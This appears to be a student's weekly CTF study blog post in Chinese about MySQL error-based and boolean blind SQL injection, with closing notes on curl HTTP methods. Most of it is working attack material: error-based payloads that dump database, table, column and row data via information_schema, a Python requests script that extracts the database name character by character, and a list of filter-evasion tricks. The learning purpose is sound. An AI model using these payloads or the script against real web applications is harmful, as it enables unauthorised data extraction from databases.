第三周周报——报错注入,布尔盲注

第三周周报——报错注入,布尔盲注


申明:本文为自主学习笔记,可以拿去借鉴和参考。同时也摘录了许多优秀师傅的blog,如有雷同请见谅 ◟̆◞̆♡
这周整理的比较潦草。主要是亚太耽误事了,后续可能会发布一下亚太相关的心得,敬请期待吧(*´∀`)~♥

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里记录一xpath语法错误和concat+rand()+group_by()导致主键重复

SQL注入分类:

  • 回显正常—> 联合查询 union select
  • 回显报错—> Duplicate entry()
    extractvalue()
       updatexml()
  • 盲注 —>布尔型盲注
    基于时间的盲注sleep()

报错常用的函数

floor

FLOOR 函数用于将一个浮点数向下取整。当 FLOOR 函数与随机数生成函数(如 RAND())结合使用时,可以产生一个范围内的随机整数。如果将这个随机整数除以零,就会触发一个除零错误,从而导致数据库返回错误信息。

原理:

floor (rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回01的随机数,但在后面*2就变成了返回02之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。
此处的myclass 表为含有四行数据的表。
结合上述的函数,每次产生的随机数列都是 0 1 1 0

id=1 and select count(*),floor(rand(0)*2) x from xxx group by x;

exp

可以通过 EXP 函数的特性来构造一个条件判断,从而在不引起明显错误的情况下,推断出数据的某些特征。网上找的没怎么用过

id=1 and exp(~(select * from(select user())a));

xpath语法错误常用函数:

1.extractvalue

EXTRACTVALUE 函数可以用来触发错误并从错误信息中提取数据。

#基本语法
extractvalue(xml_target, xpath_expression)
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
=> edxtractvalue(1,concat(0x7e,,0x7e)

2.updatexml

可以平替EXTRACTVALUE 函数

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
=> updatexml(1,concat(0x7e,,0x7e,1))

concat+rand()+group_by()导致主键重复

常见的payload为:

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "表" group by x)a--+

利用information_schema.tables表,相似的还可以用information_schema.columns等

'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

最后select语句改为一般的注入语句:

#爆数据库名:
'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆表名:
'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆列名:
'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆数据:
'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

布尔盲注

bool盲注step:

  1. 爆数据库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据

POST基于布尔的盲注

select length(database());
#提取第X个字符
select substr(database(),X,1);
#将提取的字符转换为ASCII码值
select ascii(substr(database(),X,1));
#检查当前数据库名的第一个字符的ASCII码值是否大于某个给定的值N。用于二分查找法,逐步缩小目标字符的范围。
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;

应为工程量太大,所以用脚本来自动注入

下面是部分脚本。

本题请求方式是GET,使用requests库完成GET请求。其他题目要看具体是什么请求方式

具体URL构造,还要考虑会过滤掉的关键词。

#导入库
import requests

#记得去改
url = ''
#盲注成功显示query_success,根据题目
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))

#自定义函数获取数据库名长度
def getLengthofDatabase():
	#初始化库名长度为1
    i = 1
   
    while True:
        #.format(i):这是一个 Python 字符串格式化方法,用于将 i 的值插入到占位符 {} 中。
        new_url = url + "?id=1 and length(database())={}".format(i)
        #和题中请求方式一致
        r = requests.get(new_url)
        #盲猜成功即跳出无限循环
        if success_mark in r.text:
            return i
        #没有匹配成功
        i = i + 1

#自定义函数获取数据库名
def getDatabase(length_of_database):
	#定义存储库名的变量
    name = ""
    #库名有多长就循环多少次
    for i in range(length_of_database):
    	#每一个字符位遍历字母表
    	#i+1是库名的第i+1个字符下标,j是字符取值a-z
        for j in ascii_range:
            new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
            r = requests.get(new_url)
            if success_mark in r.text:
                name += chr(j)
                break
    return name

但是速度太慢了,于是想一些方式去优化一下算法

采用二分法查找优化一下部分代码:

二分查找:对于长度的猜测,可以使用二分查找来确定确切的长度,这样可以将时间复杂度从O(n)降低到O(log n)。

优化getLengthofDatabase()函数

def getLengthofDatabase():
    low, high = 1, 10  # 假设数据库名称的最大长度不会超过10
    while low < high:
        mid = (low + high) // 2
        new_url = url + "?id=1 and length(database())>={}".format(mid)
        r = requests.get(new_url)
        if success_mark in r.text:
            low = mid + 1
        else:
            high = mid
    return low - 1  # 最终长度是low-1

优化getDatabase函数
对于获取数据库名称的函数,我们可以先确定每个字符的ASCII值范围,然后使用二分查找来确定每个字符的确切值。

def getDatabase(length_of_database):
    name = ""
    for i in range(length_of_database):
        low, high = min(str_range), max(str_range)
        while low < high:
            mid = (low + high) // 2
            new_url = url + "?id=1 and ascii(substr(database(),{},1))>{}".format(i+1, mid)
            r = requests.get(new_url)
            if success_mark in r.text:
                low = mid + 1
            else:
                high = mid
        name += chr(low) if low <= max(str_range) else chr(low - 1)
    return name

常见payload和绕过

bool盲注常用的函数:

Length() #返回字符串的长度

Substr() #截取字符串
SUBSTRING(str,pos,len) #用于从指定的字符串 str 中提取从位置 pos 开始的长度为 len 的子字符串。
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)   
mid(column_name,start[,length])  #类似substr,用于从指定的列中提取从 start 位置开始的长度为 length 的子字符串

left(str, length) #从左开始截取字符串,
right(str, length) #题目回显长度有限制的时候用

ascii() #返回字符串str的最左面字符的ASCII代码值
ord() #返回字符串第一个字符的ASCII 值

ELT(n,str1,str2,str3,...) #如果n=1,则返回str1,如果n=2,则返回str2,依次类推,网上找的没用过
concat() #字符串连接
group_concat()

if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

sleep(n) 	# 延迟为n秒

SQL注入常见过滤:

  1. 过滤空格

    #加号连接
    ?id=-1+union+select+1,database()#
    #内联注释
    ?id=-1"/**/union/**/select/**/1,database()#
    #括号嵌套
    select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
    #反引号
    union(select`table_name`,`table_type`from`information_schema`.`tables`);
    #制表符、换行、不可见空格
    %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
    
  2. 注释符

    '#', '--+', '-- -', '%23', '%00', '/**/'
    
  3. “and、or” 过滤

    # 可以使用"&&"和"||"代替
    ?id=1 && 1=1 --+
     
    # 盲注,异或运算相同为0,不同为1;根据返回值0,1判断
    ?id=1 union select (substr(database(),1,1)='s') ^ 0 --
    
  4. 关键词过滤

    #大小写绕过
    id=-1' UnIoN SeLeCT xxx
    #双写绕过
    id=-1'UNIunionONSeLselectECT1,2,3-
    #编码绕过,使用URL,hex,ASCII等编码绕过
    27%20%4F%52%201%3D%31%20%2D%2D
    #注释绕过
    id=1' UN/**/ION SE/**/LECT database() --
    
    
  5. 比较符号 "=、<、>"过滤

    #in()
    ascii(substr(select database(),1,1)) in(115);	//根据回显判断
    #like
    like代替'='
    #正则表达式
    select database() regexp '^s'; //根据回显判断
    
  6. 逗号过滤

    #逗号被过滤时可以使用from...for...
    select substr(select database() from 1 for 1);
    select substr(select database() from 2 for 1);
    #limit中的逗号可以替换成offset
    select * from users limit 1 offset 2;
    #limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
    
  7. 等价函数

    #if()=> case...when..then...else...end
    0' or if((ascii(substr((select database()),1,1))>97),1,0)#
    <=>
    0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
    #sleep() => benchmark() 
    #benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
    #concat_ws() => group_concat()
    select group_concat(database());
    <=>
    select concat_ws(1,database());
    #substr() => substring() / lpad() / rpad() / left() / mid()
    #updatexml => extractvalue()
    

1.判断注入点提交方式
GET注入
提交数据的方式是GET,注入点的位置在GET参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点,一般注入点是url为主。

POST注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中,如登录框、搜索框之类的。

Cookie注入
HTTP请求的时候会带上客户端的Cookie, 注入点存在 Cookie 当中的某个字段中。这种情况可以在控制台中查看Cookie,查看的时候可以看一下是否与平常见到的Cookie有所不同。

HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

总结
大部分都是GET注入和POST注入,只需要在url或则输入框中输入就好了,而Cookie注入和HTTP头部注入通常需要抓包才能修改,也很少能遇到这种情况。

2.判断SQL注入闭合方式:
首先我们可以知道,sql的注入可以分为数字类型,字符类型。

方法1:
首先我们可以使用(转义字符)来判断SQL注入的闭合方式。
原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。

方法2:

step1

?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。

结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。

注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。

其余知识小杂项

1.curl用法(curl 用于在不同的网络协议之间传输数据)

来源:<CTFHUB-技能树-Web前置技能-HTTP协议>

我的windows和kali里面自带curl,不谈配置问题。

命令行语言是shell语言。

C:\Users\华为>curl --help
Usage: curl [options...] <url>
 -d, --data <data>           HTTP POST data
 -f, --fail                  Fail fast with no output on HTTP errors
 -h, --help <category>       Get help for commands
 -i, --include               Include response headers in output
 -o, --output <file>         Write to file instead of stdout
 -O, --remote-name           Write output to file named as remote file
 -s, --silent                Silent mode
 -T, --upload-file <file>    Transfer local FILE to destination
 -u, --user <user:password>  Server user and password
 -A, --user-agent <name>     Send User-Agent <name> to server
 -v, --verbose               Make the operation more talkative
 -V, --version               Show version number and quit

This is not the full help; this menu is split into categories.
Use "--help category" to get an overview of all categories, which are:
auth, connection, curl, deprecated, dns, file, ftp, global, http, imap, ldap, output, pop3, post, proxy, scp, sftp,
smtp, ssh, telnet, tftp, timeout, tls, upload, verbose.
For all options use the manual or "--help all".

具体到题目解决,我用的是这个命令。

curl -v -X CTFHUB http://challenge-ef7cbe092ce4bfbf.sandbox.ctfhub.com:10800/index.php

为什么可以?

  1. curl -v 是一个命令行工具 curl 的使用方式之一,其中 -v 是一个选项,代表“verbose”(详细信息)。当你在命令行中使用 curl -v 跟随一个URL时,它不仅会获取该URL指向的资源,还会输出详细的请求和响应过程的信息。

具体来说,-v 选项会让 curl 显示以下内容:

  • HTTP 头部信息:包括发送给服务器的请求头部和从服务器接收到的响应头部。

    数据传输的过程:例如,你可以看到发送的数据和接收的数据。

  • 连接信息:如连接是否成功建立,使用的协议版本等。

2.curl -Xcurl 命令的一个选项,用于指定要使用的 HTTP 方法(也称为动词)。HTTP 方法定义了客户端希望对服务器上的资源执行的操作。常见的 HTTP 方法包括 GETPOSTPUTDELETE 等。

使用 -X 选项的基本语法如下:

curl -X [METHOD] [URL]
  • [METHOD] 是你要使用的 HTTP 方法,比如 GETPOST 等。
  • [URL] 是目标资源的 URL 地址。

示例

  1. 发送 GET 请求:

    curl -X GET https://example.com
    
  2. 发送 POST 请求:

    curl -X POST https://example.com/api/resource -d 'param1=value1&param2=value2'
    

    这里 -d 选项用于指定要发送的数据。

  3. 发送 PUT 请求:

    curl -X PUT https://example.com/api/resource -d 'param1=value1&param2=value2'
    
  4. 发送 DELETE 请求:

    curl -X DELETE https://example.com/api/resource/123
    

注意事项

  • 如果没有指定 -X 选项,默认情况下 curl 会使用 GET 方法。

  • 对于某些方法(如 POSTPUT),通常需要使用 -d--data 选项来指定要发送的数据。

  • 有些 HTTP 方法可能需要额外的头部信息,可以使用 -H 选项来添加头部信息。例如:

    curl -X POST https://example.com/api/resource -H "Content-Type: application/json" -d '{"key": "value"}'
    

通过使用 -X 选项,你可以灵活地控制 curl 发送不同类型的 HTTP 请求。

题目要求使用CTFHUB方法,so你就知道[METHOD]为CTFHUB,在用-v来显一下内容就OK(其实-v多余)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值